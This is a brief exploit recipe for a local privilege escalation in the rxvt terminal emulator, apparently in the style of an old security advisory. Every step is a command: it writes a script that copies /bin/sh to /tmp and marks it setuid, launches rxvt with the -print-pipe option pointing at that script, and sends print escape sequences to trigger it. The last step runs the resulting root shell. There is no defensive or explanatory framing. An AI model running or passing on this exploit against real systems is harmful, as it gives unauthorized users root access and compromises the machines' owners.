Exploit:
1. Set DISPLAY environment variable so you can use x clients.
2. In user shell:
$ echo 'cp /bin/sh /tmp/rxsh;chmod 4755 /tmp/rxsh' > /tmp/rxbug
$ chmod +x /tmp/rxbug
$ rxvt -print-pipe /tmp/rxbug
3. In rxvt xclient:
$ cat
ESC[5i
ESC[4i
(The client will close at this point with a broken pipe)
4. $ /tmp/rxsh
